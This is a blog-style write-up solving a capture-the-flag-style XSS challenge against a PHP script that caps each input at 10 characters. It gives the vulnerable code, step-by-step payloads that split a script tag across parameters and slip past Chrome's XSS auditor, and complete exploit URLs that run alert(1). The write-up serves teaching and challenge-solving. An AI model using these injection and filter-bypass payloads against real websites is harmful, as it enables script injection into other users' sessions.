In the land of XSS ‘possibly safe’ means ‘exploitable’

XSS (or cross-site scripting) is an attack found in web applications, where malicious people try to inject data into websites in order to steal sensitive data. Despite efforts to decrease the opportunities it still is one of the most used attacks.

Detectify posted an XSS challenge related to a real case they found. The challenge, called “twins of ten”, checks every input and only allows 10 characters per input. To make the challenge even more fun they also required that the solution works with the chrome XSS auditor. This tool is used in Chrome to combat XSS exploits at the users side.

In the challenge one need to break the following php script (which emulates the found issue):

<?php
$q = urldecode($_SERVER['QUERY_STRING']);
$qs = explode('&', $q);
$qa = array();
$chars = 0;
foreach($qs as $q) {
	$q = explode('=', $q);
	array_shift($q);
	$s = implode('=', $q);
	if(strlen($s) > 10) continue;
	$chars += strlen($s);
	$qa[] = $s;
}
foreach($qa as $q) {
	echo "<0123$q><b x=\"x\">foo</b></0123$q>";
}
echo '<!-- '.$chars.' chars long -->';

In this script the input is checked, but not good enough. The authors thought it would be safe to only make sure the inputs are 10 characters long. Ten characters is awfully little. The reasoning behinds this limit is probably along the line that the limit means it is almost impossible to attack. Though if we know something about hackers is that they are perseverant and a little potential crack is enough to get them interested and try to find a way to break it. This also applies to this script and we are going to prove it!

How can we exploit this?

When we go to the web page we can adjust some of the parameters with arbitrary data. The only constraint is that every value can only be 10 characters long:

example.php?a={1}&b={2}&c={3}&d={4}…

This request will generate the following html code. It is visible that the values are injected into the html code without any alteration or checking of values:

<0123{1}><b x="x">foo</b></0123{1}><0123{2}><b x="x">foo</b></0123{2}><0123{3}><b x="x">foo</b></0123{3}><0123{4}><b x="x">foo</b></0123{4}>
...

Our goal is to adjust {1} to {n} and eventually show we can run arbitrary javascript code. For this example we will try to alert something:

<script>alert(1);</script>

Now before going further I would encourage everybody to think about this issue and try it out. It is a fun brain teaser, especially the part to fool the chrome XSS detector. The rest of the post is about a solution I found.

The first thing one need to try is to get a place within a script-tag where we can inject some javascript code. In this example there is no script-tag present, so we are responsible to inject a script-tag ourself. Let’s try this by splitting the tags over different inputs. If we do {1} => “><script>” and {2} => “></script>” we will get:

<0123><script>><b x="x">foo</b></0123><script>><0123></script>><b x="x">foo</b></0123></script>>

This brings us closer. We injected a script open and close tag. That is already good. Only the code inside the tags are nonsense. We need to come up with a way to sanitize this. Due to the limit we don’t have a lot of wiggle room. In most languages there is something to comment the code, e.g. /*, //, <!–. So lets have a look if we can use that here:

{1} => "><script>/*"
{2} => "*/</script>"
<0123><script>/*><b x="x">foo</b></0123><script>/*><0123*/</script>><b x="x">foo</b></0123*/</script>>

This seems to work. We successfully made the code valid by putting the in between html tag become comments. Though we need to address two things.

1) The first item ({1}) is actually 11 characters. This will fail, since only 10 characters are allowed. Luckily for us we can abuse the system a bit, since we can remove the first ‘>’. Almost all browsers will assume the first <0123 actually wasn’t a tag and the user forgot to use &lt;

{1} => "<script>/*"
{2} => "*/</script>"
<0123<script>/*><b x="x">foo</b></0123<script>/*><0123*/</script>><b x="x">foo</b></0123*/</script>>

Which fixes the first issue.

2) Chrome has an XSS auditor in the browser that with some heuristics tries to detects injected javascript code and stops the attack. This measure is to protect their users to make sure that even if a website is vulnerable, the user is still protected. This examples triggers the auditor and as a result the code in between the tags won’t get executed.

The same happens when trying:

{1} => "<script>//"
{2} => "\n</script>"
<0123<script>//><b x="x">foo</b></0123<script>//><0123
</script>><b x="x">foo</b></0123
</script>>

So the hard part about the challenge here was to fool the chrome auditor. There are a lot of examples on how to fool the auditor, but most are already outdated. Chrome improves their auditor, making it harder every time. Though since this is based on heuristics we might find a way to fool the browser.

As a result I searched a bit to get more information about the auditor:

The last link even has some examples that are still possible with the newest chrome release. But I couldn’t use them in my example. But I learned some tricks to fool the auditor. It seems that the content inside the script-tag is compared with the provided input and when that is found it will fail. Also it sometimes doesn’t look at anything behind the “//”. And one need to make sure that most of the code is actually original code, not related the parameters.

I had to try a lot of possible inputs that didn’t fool the auditor, had to almost give up a couple of times, try again, see the auditor calling my bluffs again, reiterating, before I could finally find a snippit that worked.

In order to achieve an attack, I had to fool the auditor that the existing code wasn’t removed, but was still part of the javascript code. That was the reason comments didn’t work. I found that creating unused strings out of them was a strategy the auditor didn’t detect (yet?):

{1} => "<script>//"
{2} => "'\n;'+"
{3} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
;'+><b x="x">foo</b></0123'
;'+><0123'</script><b x="x">foo</b></0123'</script>

So anything we put in {2} after the newline is javascript code that will run. We don’t have much space, since we only have 10 characters and we already use 5 characters to ‘remove’ the extra html code. So we have 5 characters to do something. Another issue that we need to work around is the fact that every 5 characters we write will get executed twice. So we cannot do anything that would be wrong when getting executed twice. But given those constraints we can repeat {2} multiple times to finally start executing vulnerable code.

{2} => "'\nXXXXX;'+"

In order to do this there are probably multiple ways. I went with the idea to create the string “alert”. Which is doable in only 5 characters:

a='a' // 5 chars
l='l' // 5 chars
e='e' // 5 chars
r='r' // 5 chars
t='t' // 5 chars
b=a+l // 5 chars
c=b+e // 5 chars
d=c+r // 5 chars
e=d+t // 5 chars; e now contains "alert"

Now the issues start into invoking the string. It is possible to do this[a] which will return the alert function instead given the string alert. That seems good, but we need 6 characters for this:

t=this // 6 chars;
s=t[e] // 6 chars; s now contains the function alert

s(1) // 4 chars; alert(1)!!! 

Here I went and thought back about the issue why we didn’t use comments instead of strings to hide the existing html tags. We wanted to fool the auditor. Now it seems that after our first little hack, the third input doesn’t need this special format. We fooled the auditor and our third parameter had a little bit of more freedom. As a result I could transform the input to:

{3} => "'\nXXXXXX//"
{1} => "<script>//"
{2} => "'\nfoo1;'+"
{3} => "'\nfoo2//"
{4} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
foo1;'+><b x="x">foo</b></0123'
foo1;'+><0123'
foo2//><b x="x">foo</b></0123'
foo2//><0123'</script><b x="x">foo</b></0123'</script>

Which meant there we have 6 characters at our disposal. Just the amount we needed. There is only one hurdle left. If we run the code with the small chunks listed above we will alert twice. That is not the intention. We want to only alert once. We need to remove the first or second occurrence.

I did this by promoting the first occurrence into the string I used to ‘remove’ the original code.

{1} => "<script>//"
{2} => "'\n;'+"
{3} => "\\\nfoo2;'//"
{4} => "'</script"
<0123<script>//><b x="x">foo</b></0123<script>//><0123'
;'+><b x="x">foo</b></0123'
;'+><0123\
foo2;'//><b x="x">foo</b></0123\
foo2;'//><0123'</script><b x="x">foo</b></0123'</script>

Putting this all together we get the following inputs:

{1}  => "<script>//"
{2}  => "'\na='a';'+"
{3}  => "'\nl='l';'+"
{4}  => "'\ne='e';'+"
{5}  => "'\nr='r';'+"
{6}  => "'\nt='t';'+"
{7}  => "'\nb=a+l;'+"
{8}  => "'\nc=b+e;'+"
{9}  => "'\nd=c+r;'+"
{10} => "'\ne=d+t;'+"
{11} => "'\nt=this//"
{12} => "'\nk=t[e]//"
{13} => "\\\nk(1);'//"
{14} => "'</script"

The php script at the beginning of this post can now get compromised just by running: example.php?a=<script>%2F%2F&a=%27%0Aa%3D%27a%27%3B%27%2B&a=%27%0Al%3D%27l%27%3B%27%2B&a=%27%0Ae%3D%27e%27%3B%27%2B&a=%27%0Ar%3D%27r%27%3B%27%2B&a=%27%0At%3D%27t%27%3B%27%2B&a=%27%0Ab%3Da%2Bl%3B%27%2B&a=%27%0Ac%3Db%2Be%3B%27%2B&a=%27%0Ad%3Dc%2Br%3B%27%2B&a=%27%0Ae%3Dd%2Bt%3B%27%2B&a=%27%0At%3Dthis%2F%2F&a=%27%0Ak%3Dt%5Be%5D%2F%2F&a=%5C%0Ak%281%29%3B%27%2F%2F&a=%27<%2Fscript

Edit: this isn’t the smallest possible attack. With some tricks it is possible to write up to 7 characters in a one go. As a result it is not needed to create a string for “alert” and execute it through “this”. But it shows some of the thinking and tricks that can be used to create an attack. The smallest set I found was:

{1}  => "<script>//"
{2}  => "'\n'+"
{3}  => "'\n//"
{4}  => "\ne=alert//"
{5}  => "\\\ne(1);'//"
{6}  => "'</script"

Which yields the following url: example.php?a=%3Cscript%3E%2F%2F&a=%27%0A%27%2B&a=%27%0A%2F%2F&a=%0Ae%3Dalert%2F%2F&a=%5C%0Ae%281%29%3B%27%2F%2F&a=%27%3C%2Fscript

Feel free to take the challenge to better my personal record and contact me on twitter using @patrolserver and I will update this post with your record and name and maybe even buy you a beer ;).